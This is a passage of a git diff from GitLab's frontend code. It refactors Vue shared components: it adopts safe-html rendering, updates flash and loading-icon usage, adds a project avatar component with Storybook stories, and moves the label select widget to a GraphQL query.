+++ b/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue
@@ -1,5 +1,6 @@
<script>
import { GlButton, GlLoadingIcon, GlTooltipDirective, GlIcon } from '@gitlab/ui';
+import { isLoggedIn } from '~/lib/utils/common_utils';
import { __ } from '~/locale';
import ApplySuggestion from './apply_suggestion.vue';
@@ -73,7 +74,7 @@ export default {
return __('Applying suggestions...');
},
isLoggedIn() {
- return Boolean(gon.current_user_id);
+ return isLoggedIn();
},
},
methods: {
@@ -110,7 +111,7 @@ export default {
</div>
<div v-if="isApplied" class="badge badge-success">{{ __('Applied') }}</div>
<div v-else-if="isApplying" class="d-flex align-items-center text-secondary">
- <gl-loading-icon class="d-flex-center mr-2" />
+ <gl-loading-icon size="sm" class="d-flex-center mr-2" />
<span>{{ applyingSuggestionsMessage }}</span>
</div>
<div v-else-if="canApply && isBatched" class="d-flex align-items-center">
diff --git a/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_row.vue b/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_row.vue
index 9059f0d2a8b..a04f8616acb 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_row.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_row.vue
@@ -1,7 +1,11 @@
<script>
-/* eslint-disable vue/no-v-html */
+import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
+
export default {
name: 'SuggestionDiffRow',
+ directives: {
+ SafeHtml,
+ },
props: {
line: {
type: Object,
@@ -32,7 +36,7 @@ export default {
:class="[{ 'd-table-cell': displayAsCell }, lineType]"
data-testid="suggestion-diff-content"
>
- <span v-if="line.rich_text" class="line" v-html="line.rich_text"></span>
+ <span v-if="line.rich_text" v-safe-html="line.rich_text" class="line"></span>
<span v-else-if="line.text" class="line">{{ line.text }}</span>
<span v-else class="line"></span>
</td>
diff --git a/app/assets/javascripts/vue_shared/components/markdown/suggestions.vue b/app/assets/javascripts/vue_shared/components/markdown/suggestions.vue
index 53d1cca7af3..63774c6c498 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/suggestions.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/suggestions.vue
@@ -1,7 +1,7 @@
<script>
import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import Vue from 'vue';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { __ } from '~/locale';
import SuggestionDiff from './suggestion_diff.vue';
@@ -79,7 +79,10 @@ export default {
const suggestionElements = container.querySelectorAll('.js-render-suggestion');
if (this.lineType === 'old') {
- Flash(__('Unable to apply suggestions to a deleted line.'), 'alert', this.$el);
+ createFlash({
+ message: __('Unable to apply suggestions to a deleted line.'),
+ parent: this.$el,
+ });
}
suggestionElements.forEach((suggestionEl, i) => {
diff --git a/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue b/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue
index 7393a8791b7..7112295fa57 100644
--- a/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue
+++ b/app/assets/javascripts/vue_shared/components/markdown/toolbar.vue
@@ -82,7 +82,7 @@ export default {
<span class="attaching-file-message"></span>
<!-- eslint-disable-next-line @gitlab/vue-require-i18n-strings -->
<span class="uploading-progress">0%</span>
- <gl-loading-icon inline />
+ <gl-loading-icon size="sm" inline />
</span>
<span class="uploading-error-container hide">
<span class="uploading-error-icon">
diff --git a/app/assets/javascripts/vue_shared/components/notes/placeholder_note.vue b/app/assets/javascripts/vue_shared/components/notes/placeholder_note.vue
index 69afd711797..d6501a37a35 100644
--- a/app/assets/javascripts/vue_shared/components/notes/placeholder_note.vue
+++ b/app/assets/javascripts/vue_shared/components/notes/placeholder_note.vue
@@ -16,12 +16,15 @@
* :note="{body: 'This is a note'}"
* />
*/
+import { GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
import { mapGetters } from 'vuex';
+import { renderMarkdown } from '~/notes/utils';
import TimelineEntryItem from '~/vue_shared/components/notes/timeline_entry_item.vue';
import userAvatarLink from '../user_avatar/user_avatar_link.vue';
export default {
name: 'PlaceholderNote',
+ directives: { SafeHtml },
components: {
userAvatarLink,
TimelineEntryItem,
@@ -34,6 +37,9 @@ export default {
},
computed: {
...mapGetters(['getUserData']),
+ renderedNote() {
+ return renderMarkdown(this.note.body);
+ },
},
};
</script>
@@ -57,9 +63,7 @@ export default {
</div>
</div>
<div class="note-body">
- <div class="note-text md">
- <p>{{ note.body }}</p>
- </div>
+ <div v-safe-html="renderedNote" class="note-text md"></div>
</div>
</div>
</timeline-entry-item>
diff --git a/app/assets/javascripts/vue_shared/components/notes/system_note.vue b/app/assets/javascripts/vue_shared/components/notes/system_note.vue
index 149909d263e..c3d861d74bc 100644
--- a/app/assets/javascripts/vue_shared/components/notes/system_note.vue
+++ b/app/assets/javascripts/vue_shared/components/notes/system_note.vue
@@ -111,7 +111,7 @@ export default {
<div class="note-header">
<note-header :author="note.author" :created-at="note.created_at" :note-id="note.id">
<span v-safe-html="actionTextHtml"></span>
- <template v-if="canSeeDescriptionVersion" slot="extra-controls">
+ <template v-if="canSeeDescriptionVersion" #extra-controls>
&middot;
<gl-button
variant="link"
diff --git a/app/assets/javascripts/vue_shared/components/oncall_schedules_list.vue b/app/assets/javascripts/vue_shared/components/oncall_schedules_list.vue
index ff2847624c5..e37a663ace3 100644
--- a/app/assets/javascripts/vue_shared/components/oncall_schedules_list.vue
+++ b/app/assets/javascripts/vue_shared/components/oncall_schedules_list.vue
@@ -27,9 +27,13 @@ export default {
title() {
return this.isCurrentUser
? s__('OnCallSchedules|You are currently a part of:')
- : sprintf(s__('OnCallSchedules|User %{name} is currently part of:'), {
- name: this.userName,
- });
+ : sprintf(
+ s__('OnCallSchedules|User %{name} is currently part of:'),
+ {
+ name: this.userName,
+ },
+ false,
+ );
},
footer() {
return this.isCurrentUser
diff --git a/app/assets/javascripts/vue_shared/components/paginated_table_with_search_and_tabs/paginated_table_with_search_and_tabs.vue b/app/assets/javascripts/vue_shared/components/paginated_table_with_search_and_tabs/paginated_table_with_search_and_tabs.vue
index d05e45e90b3..79a9e1fca8c 100644
--- a/app/assets/javascripts/vue_shared/components/paginated_table_with_search_and_tabs/paginated_table_with_search_and_tabs.vue
+++ b/app/assets/javascripts/vue_shared/components/paginated_table_with_search_and_tabs/paginated_table_with_search_and_tabs.vue
@@ -169,6 +169,12 @@ export default {
methods: {
filterItemsByStatus(tabIndex) {
this.resetPagination();
+ const activeStatusTab = this.statusTabs[tabIndex];
+
+ if (activeStatusTab == null) {
+ return;
+ }
+
const { filters, status } = this.statusTabs[tabIndex];
this.statusFilter = filters;
this.filteredByStatus = status;
diff --git a/app/assets/javascripts/vue_shared/components/project_avatar.stories.js b/app/assets/javascripts/vue_shared/components/project_avatar.stories.js
new file mode 100644
index 00000000000..110c6c73bad
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/project_avatar.stories.js
@@ -0,0 +1,30 @@
+import ProjectAvatar from './project_avatar.vue';
+
+export default {
+ component: ProjectAvatar,
+ title: 'vue_shared/components/project_avatar',
+};
+
+const Template = (args, { argTypes }) => ({
+ components: { ProjectAvatar },
+ props: Object.keys(argTypes),
+ template: '<project-avatar v-bind="$props" />',
+});
+
+export const Default = Template.bind({});
+Default.args = {
+ projectAvatarUrl:
+ 'https://gitlab.com/uploads/-/system/project/avatar/278964/logo-extra-whitespace.png?width=64',
+ projectName: 'GitLab',
+};
+
+export const FallbackAvatar = Template.bind({});
+FallbackAvatar.args = {
+ projectName: 'GitLab',
+};
+
+export const EmptyAltTag = Template.bind({});
+EmptyAltTag.args = {
+ ...Default.args,
+ alt: '',
+};
diff --git a/app/assets/javascripts/vue_shared/components/project_avatar.vue b/app/assets/javascripts/vue_shared/components/project_avatar.vue
new file mode 100644
index 00000000000..f16187022a5
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/project_avatar.vue
@@ -0,0 +1,45 @@
+<script>
+import { GlAvatar } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlAvatar,
+ },
+ props: {
+ projectName: {
+ type: String,
+ required: true,
+ },
+ projectAvatarUrl: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ size: {
+ type: Number,
+ default: 32,
+ required: false,
+ },
+ alt: {
+ type: String,
+ required: false,
+ default: undefined,
+ },
+ },
+ computed: {
+ avatarAlt() {
+ return this.alt ?? this.projectName;
+ },
+ },
+};
+</script>
+
+<template>
+ <gl-avatar
+ shape="rect"
+ :entity-name="projectName"
+ :src="projectAvatarUrl"
+ :alt="avatarAlt"
+ :size="size"
+ />
+</template>
diff --git a/app/assets/javascripts/vue_shared/components/project_avatar/default.vue b/app/assets/javascripts/vue_shared/components/project_avatar/default.vue
deleted file mode 100644
index 4bc70870767..00000000000
--- a/app/assets/javascripts/vue_shared/components/project_avatar/default.vue
+++ /dev/null
@@ -1,46 +0,0 @@
-<script>
-import Identicon from '../identicon.vue';
-import ProjectAvatarImage from './image.vue';
-
-export default {
- components: {
- Identicon,
- ProjectAvatarImage,
- },
- props: {
- project: {
- type: Object,
- required: true,
- },
- size: {
- type: Number,
- default: 40,
- required: false,
- },
- },
- computed: {
- sizeClass() {
- return `s${this.size}`;
- },
- },
-};
-</script>
-
-<template>
- <span :class="sizeClass" class="avatar-container rect-avatar project-avatar">
- <project-avatar-image
- v-if="project.avatar_url"
- :link-href="project.path"
- :img-src="project.avatar_url"
- :img-alt="project.name"
- :img-size="size"
- />
- <identicon
- v-else
- :entity-id="project.id"
- :entity-name="project.name"
- :size-class="sizeClass"
- class="rect-avatar"
- />
- </span>
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/project_selector/project_list_item.vue b/app/assets/javascripts/vue_shared/components/project_selector/project_list_item.vue
index ddc8bbf9b27..69f43c9e464 100644
--- a/app/assets/javascripts/vue_shared/components/project_selector/project_list_item.vue
+++ b/app/assets/javascripts/vue_shared/components/project_selector/project_list_item.vue
@@ -4,7 +4,7 @@ import { GlButton, GlIcon } from '@gitlab/ui';
import { isString } from 'lodash';
import highlight from '~/lib/utils/highlight';
import { truncateNamespace } from '~/lib/utils/text_utility';
-import ProjectAvatar from '~/vue_shared/components/project_avatar/default.vue';
+import ProjectAvatar from '~/vue_shared/components/deprecated_project_avatar/default.vue';
export default {
name: 'ProjectListItem',
diff --git a/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue b/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue
index 580e1668f41..d55c93fd146 100644
--- a/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue
+++ b/app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue
@@ -194,7 +194,7 @@ export default {
<template v-if="selectedPlatform">
<h5>
{{ $options.i18n.architecture }}
- <gl-loading-icon v-if="$apollo.loading" inline />
+ <gl-loading-icon v-if="$apollo.loading" size="sm" inline />
</h5>
<gl-dropdown class="gl-mb-3" :text="selectedArchitectureName">
diff --git a/app/assets/javascripts/vue_shared/components/select2_select.vue b/app/assets/javascripts/vue_shared/components/select2_select.vue
deleted file mode 100644
index bb1a8fae7b0..00000000000
--- a/app/assets/javascripts/vue_shared/components/select2_select.vue
+++ /dev/null
@@ -1,48 +0,0 @@
-<script>
-import $ from 'jquery';
-import 'select2';
-import { loadCSSFile } from '~/lib/utils/css_utils';
-
-export default {
- // False positive i18n lint: https://gitlab.com/gitlab-org/frontend/eslint-plugin-i18n/issues/26
- // eslint-disable-next-line @gitlab/require-i18n-strings
- name: 'Select2Select',
- props: {
- options: {
- type: Object,
- required: false,
- default: () => ({}),
- },
- value: {
- type: String,
- required: false,
- default: '',
- },
- },
-
- watch: {
- value() {
- $(this.$refs.dropdownInput).val(this.value).trigger('change');
- },
- },
-
- mounted() {
- loadCSSFile(gon.select2_css_path)
- .then(() => {
- $(this.$refs.dropdownInput)
- .val(this.value)
- .select2(this.options)
- .on('change', (event) => this.$emit('input', event.target.value));
- })
- .catch(() => {});
- },
-
- beforeDestroy() {
- $(this.$refs.dropdownInput).select2('destroy');
- },
-};
-</script>
-
-<template>
- <input ref="dropdownInput" type="hidden" />
-</template>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/copyable_field.vue b/app/assets/javascripts/vue_shared/components/sidebar/copyable_field.vue
index bbc7e6e7a6e..5c3a6852219 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/copyable_field.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/copyable_field.vue
@@ -1,5 +1,5 @@
<script>
-import { GlLoadingIcon } from '@gitlab/ui';
+import { GlLoadingIcon, GlSprintf } from '@gitlab/ui';
import { s__, __, sprintf } from '~/locale';
import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
@@ -10,8 +10,9 @@ import ClipboardButton from '~/vue_shared/components/clipboard_button.vue';
export default {
name: 'CopyableField',
components: {
- GlLoadingIcon,
ClipboardButton,
+ GlLoadingIcon,
+ GlSprintf,
},
props: {
value: {
@@ -48,12 +49,6 @@ export default {
loadingIconLabel() {
return sprintf(this.$options.i18n.loadingIconLabel, { name: this.name });
},
- templateText() {
- return sprintf(this.$options.i18n.templateText, {
- name: this.name,
- value: this.value,
- });
- },
},
i18n: {
loadingIconLabel: __('Loading %{name}'),
@@ -78,10 +73,13 @@ export default {
class="gl-overflow-hidden gl-text-overflow-ellipsis gl-white-space-nowrap"
:title="value"
>
- {{ templateText }}
+ <gl-sprintf :message="$options.i18n.templateText">
+ <template #name>{{ name }}</template>
+ <template #value>{{ value }}</template>
+ </gl-sprintf>
</span>
- <gl-loading-icon v-if="isLoading" inline :label="loadingIconLabel" />
+ <gl-loading-icon v-if="isLoading" size="sm" inline :label="loadingIconLabel" />
<clipboard-button v-else size="small" v-bind="clipboardProps" />
</div>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/date_picker.vue b/app/assets/javascripts/vue_shared/components/sidebar/date_picker.vue
index 075681de320..4531fafbf72 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/date_picker.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/date_picker.vue
@@ -104,7 +104,7 @@ export default {
<collapsed-calendar-icon :text="collapsedText" class="sidebar-collapsed-icon" />
<div class="title">
{{ label }}
- <gl-loading-icon v-if="isLoading" :inline="true" />
+ <gl-loading-icon v-if="isLoading" size="sm" :inline="true" />
<div class="float-right">
<button
v-if="editable && !editing"
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/issuable_move_dropdown.vue b/app/assets/javascripts/vue_shared/components/sidebar/issuable_move_dropdown.vue
index 320e2048f1c..12daaea8758 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/issuable_move_dropdown.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/issuable_move_dropdown.vue
@@ -148,7 +148,7 @@ export default {
@hide="handleDropdownHide"
>
<template #button-content
- ><gl-loading-icon v-if="moveInProgress" class="gl-mr-3" />{{
+ ><gl-loading-icon v-if="moveInProgress" size="sm" class="gl-mr-3" />{{
dropdownButtonTitle
}}</template
>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_create_view.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_create_view.vue
index f8cc981ba3d..3ec33a653b8 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_create_view.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_create_view.vue
@@ -108,7 +108,7 @@ export default {
class="float-left d-flex align-items-center"
@click="handleCreateClick"
>
- <gl-loading-icon v-show="labelCreateInProgress" :inline="true" class="mr-1" />
+ <gl-loading-icon v-show="labelCreateInProgress" size="sm" :inline="true" class="mr-1" />
{{ __('Create') }}
</gl-button>
<gl-button class="float-right js-btn-cancel-create" @click="toggleDropdownContentsCreateView">
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view.vue
index 86788a84260..9914bfc6026 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view.vue
@@ -48,6 +48,12 @@ export default {
}
return this.labels;
},
+ showDropdownFooter() {
+ return (
+ (this.isDropdownVariantSidebar || this.isDropdownVariantEmbedded) &&
+ (this.allowLabelCreate || this.labelsManagePath)
+ );
+ },
showNoMatchingResultsMessage() {
return Boolean(this.searchKey) && this.visibleLabels.length === 0;
},
@@ -192,11 +198,7 @@ export default {
</li>
</ul>
</div>
- <div
- v-if="isDropdownVariantSidebar || isDropdownVariantEmbedded"
- class="dropdown-footer"
- data-testid="dropdown-footer"
- >
+ <div v-if="showDropdownFooter" class="dropdown-footer" data-testid="dropdown-footer">
<ul class="list-unstyled">
<li v-if="allowLabelCreate">
<gl-link
@@ -206,7 +208,7 @@ export default {
{{ footerCreateLabelTitle }}
</gl-link>
</li>
- <li>
+ <li v-if="labelsManagePath">
<gl-link
:href="labelsManagePath"
class="gl-display-flex flex-row text-break-word label-item"
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue
index 813de528c0b..aad754e15b0 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue
@@ -26,7 +26,7 @@ export default {
<div class="hide-collapsed gl-line-height-20 gl-mb-2 gl-text-gray-900">
{{ __('Labels') }}
<template v-if="allowLabelEdit">
- <gl-loading-icon v-show="labelsSelectInProgress" inline />
+ <gl-loading-icon v-show="labelsSelectInProgress" size="sm" inline />
<gl-button
variant="link"
class="float-right gl-text-gray-900! gl-hover-text-blue-800! js-sidebar-dropdown-toggle"
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/actions.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/actions.js
index 89f96ab916b..178be0f6da0 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/actions.js
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
import * as types from './mutation_types';
@@ -16,7 +16,9 @@ export const receiveLabelsSuccess = ({ commit }, labels) =>
commit(types.RECEIVE_SET_LABELS_SUCCESS, labels);
export const receiveLabelsFailure = ({ commit }) => {
commit(types.RECEIVE_SET_LABELS_FAILURE);
- flash(__('Error fetching labels.'));
+ createFlash({
+ message: __('Error fetching labels.'),
+ });
};
export const fetchLabels = ({ state, dispatch }) => {
dispatch('requestLabels');
@@ -32,7 +34,9 @@ export const requestCreateLabel = ({ commit }) => commit(types.REQUEST_CREATE_LA
export const receiveCreateLabelSuccess = ({ commit }) => commit(types.RECEIVE_CREATE_LABEL_SUCCESS);
export const receiveCreateLabelFailure = ({ commit }) => {
commit(types.RECEIVE_CREATE_LABEL_FAILURE);
- flash(__('Error creating label.'));
+ createFlash({
+ message: __('Error creating label.'),
+ });
};
export const createLabel = ({ state, dispatch }, label) => {
dispatch('requestCreateLabel');
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutations.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutations.js
index 55716e1105e..2e0a57f15dd 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutations.js
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/store/mutations.js
@@ -1,3 +1,4 @@
+import { isScopedLabel, scopedLabelKey } from '~/lib/utils/common_utils';
import { DropdownVariant } from '../constants';
import * as types from './mutation_types';
@@ -66,5 +67,16 @@ export default {
candidateLabel.touched = true;
candidateLabel.set = !candidateLabel.set;
}
+
+ if (isScopedLabel(candidateLabel)) {
+ const scopedBase = scopedLabelKey(candidateLabel);
+ const currentActiveScopedLabel = state.labels.find(({ title }) => {
+ return title.startsWith(scopedBase) && title !== '' && title !== candidateLabel.title;
+ });
+
+ if (currentActiveScopedLabel) {
+ currentActiveScopedLabel.set = false;
+ }
+ }
},
};
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view.vue
index a7f20fbe851..4651e7a1576 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view.vue
@@ -117,7 +117,7 @@ export default {
data-testid="create-button"
@click="createLabel"
>
- <gl-loading-icon v-if="labelCreateInProgress" :inline="true" class="mr-1" />
+ <gl-loading-icon v-if="labelCreateInProgress" size="sm" :inline="true" class="mr-1" />
{{ __('Create') }}
</gl-button>
<gl-button
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_title.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_title.vue
index 5d1663bc1fd..b6d14965cfa 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_title.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_title.vue
@@ -26,7 +26,7 @@ export default {
<div class="title hide-collapsed gl-mb-3">
{{ __('Labels') }}
<template v-if="allowLabelEdit">
- <gl-loading-icon v-show="labelsSelectInProgress" inline />
+ <gl-loading-icon v-show="labelsSelectInProgress" size="sm" inline />
<gl-button
variant="link"
class="float-right js-sidebar-dropdown-toggle"
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue
index 46ccb9470e5..58a940bca3b 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue
@@ -1,7 +1,6 @@
<script>
import { GlLabel } from '@gitlab/ui';
-import { mapState } from 'vuex';
-
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { isScopedLabel } from '~/lib/utils/common_utils';
export default {
@@ -14,15 +13,26 @@ export default {
required: false,
default: false,
},
- },
- computed: {
- ...mapState([
- 'selectedLabels',
- 'allowLabelRemove',
- 'allowScopedLabels',
- 'labelsFilterBasePath',
- 'labelsFilterParam',
- ]),
+ selectedLabels: {
+ type: Array,
+ required: true,
+ },
+ allowLabelRemove: {
+ type: Boolean,
+ required: true,
+ },
+ allowScopedLabels: {
+ type: Boolean,
+ required: true,
+ },
+ labelsFilterBasePath: {
+ type: String,
+ required: true,
+ },
+ labelsFilterParam: {
+ type: String,
+ required: true,
+ },
},
methods: {
labelFilterUrl(label) {
@@ -33,6 +43,9 @@ export default {
scopedLabel(label) {
return this.allowScopedLabels && isScopedLabel(label);
},
+ removeLabel(labelId) {
+ this.$emit('onLabelRemove', getIdFromGraphQLId(labelId));
+ },
},
};
</script>
@@ -43,12 +56,14 @@ export default {
'has-labels': selectedLabels.length,
}"
class="hide-collapsed value issuable-show-labels js-value"
+ data-testid="value-wrapper"
>
- <span v-if="!selectedLabels.length" class="text-secondary">
+ <span v-if="!selectedLabels.length" class="text-secondary" data-testid="empty-placeholder">
<slot></slot>
</span>
- <template v-for="label in selectedLabels" v-else>
+ <template v-else>
<gl-label
+ v-for="label in selectedLabels"
:key="label.id"
data-qa-selector="selected_label_content"
:data-qa-label-name="label.title"
@@ -60,7 +75,7 @@ export default {
:show-close-button="allowLabelRemove"
:disabled="disableLabels"
tooltip-placement="top"
- @close="$emit('onLabelRemove', label.id)"
+ @close="removeLabel(label.id)"
/>
</template>
</div>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/issue_labels.query.graphql b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/issue_labels.query.graphql
new file mode 100644
index 00000000000..1c2fd3bb7c0
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/graphql/issue_labels.query.graphql
@@ -0,0 +1,15 @@
+query issueLabels($fullPath: ID!, $iid: String) {
+ workspace: project(fullPath: $fullPath) {
+ issuable: issue(iid: $iid) {
+ id
+ labels {
+ nodes {
+ id
+ title
+ color
+ description
+ }
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue
index 7728c758e18..87f36a5bb72 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue
@@ -11,6 +11,7 @@ import DropdownContents from './dropdown_contents.vue';
import DropdownTitle from './dropdown_title.vue';
import DropdownValue from './dropdown_value.vue';
import DropdownValueCollapsed from './dropdown_value_collapsed.vue';
+import issueLabelsQuery from './graphql/issue_labels.query.graphql';
import labelsSelectModule from './store';
Vue.use(Vuex);
@@ -24,6 +25,7 @@ export default {
DropdownContents,
DropdownValueCollapsed,
},
+ inject: ['iid', 'projectPath'],
props: {
allowLabelRemove: {
type: Boolean,
@@ -119,8 +121,23 @@ export default {
data() {
return {
contentIsOnViewport: true,
+ issueLabels: [],
};
},
+ apollo: {
+ issueLabels: {
+ query: issueLabelsQuery,
+ variables() {
+ return {
+ iid: this.iid,
+ fullPath: this.projectPath,
+ };
+ },
+ update(data) {
+ return data.workspace?.issuable?.labels.nodes || [];
+ },
+ },
+ },
computed: {
...mapState(['showDropdownButton', 'showDropdownContents']),
...mapGetters([
@@ -293,7 +310,7 @@ export default {
<template v-if="isDropdownVariantSidebar">
<dropdown-value-collapsed
ref="dropdownButtonCollapsed"
- :labels="selectedLabels"
+ :labels="issueLabels"
@onValueClick="handleCollapsedValueClick"
/>
<dropdown-title
@@ -302,6 +319,11 @@ export default {
/>
<dropdown-value
:disable-labels="labelsSelectInProgress"
+ :selected-labels="issueLabels"
+ :allow-label-remove="allowLabelRemove"
+ :allow-scoped-labels="allowScopedLabels"
+ :labels-filter-base-path="labelsFilterBasePath"
+ :labels-filter-param="labelsFilterParam"
@onLabelRemove="$emit('onLabelRemove', $event)"
>
<slot></slot>
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/actions.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/actions.js
index 2b96b159ca3..935f020f559 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/actions.js
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/actions.js
@@ -1,4 +1,4 @@
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
import * as types from './mutation_types';
@@ -16,7 +16,9 @@ export const receiveLabelsSuccess = ({ commit }, labels) =>
commit(types.RECEIVE_SET_LABELS_SUCCESS, labels);
export const receiveLabelsFailure = ({ commit }) => {
commit(types.RECEIVE_SET_LABELS_FAILURE);
- flash(__('Error fetching labels.'));
+ createFlash({
+ message: __('Error fetching labels.'),
+ });
};
export const fetchLabels = ({ state, dispatch }) => {
dispatch('requestLabels');
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutations.js b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutations.js
index 131c6e6fb57..1c03d95f37b 100644
--- a/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutations.js
+++ b/app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutations.js
@@ -1,3 +1,4 @@
+import { isScopedLabel, scopedLabelKey } from '~/lib/utils/common_utils';
import { DropdownVariant } from '../constants';
import * as types from './mutation_types';
@@ -55,5 +56,16 @@ export default {
candidateLabel.touched = true;
candidateLabel.set = !candidateLabel.set;
}
+
+ if (isScopedLabel(candidateLabel)) {
+ const scopedBase = scopedLabelKey(candidateLabel);
+ const currentActiveScopedLabel = state.labels.find(
+ ({ title }) => title.indexOf(scopedBase) === 0 && title !== candidateLabel.title,
+ );
+
+ if (currentActiveScopedLabel) {
+ currentActiveScopedLabel.set = false;
+ }
+ }
},
};
diff --git a/app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/todo_button.stories.js b/app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/todo_button.stories.js
new file mode 100644
index 00000000000..d2afc02233e
--- /dev/null
+++ b/app/assets/javascripts/vue_shared/components/sidebar/todo_toggle/todo_button.stories.js
@@ -0,0 +1,23 @@
+/* eslint-disable @gitlab/require-i18n-strings */
+
+import TodoButton from './todo_button.vue';
+
+export default {
+ component: TodoButton,
+ title: 'vue_shared/components/todo_toggle/todo_button',
+};
+
+const Template = (args, { argTypes }) => ({
+ components: { TodoButton },
+ props: Object.keys(argTypes),
+ template: '<todo-button v-bind="$props" v-on="$props" />',
+});
+
+export const Default = Template.bind({});
+Default.argTypes = {
+ isTodo: {
+ description: 'True if to-do is unresolved (i.e. not "done")',
+ control: { type: 'boolean' },
+ },
+ click: { action: 'clicked' },
+};
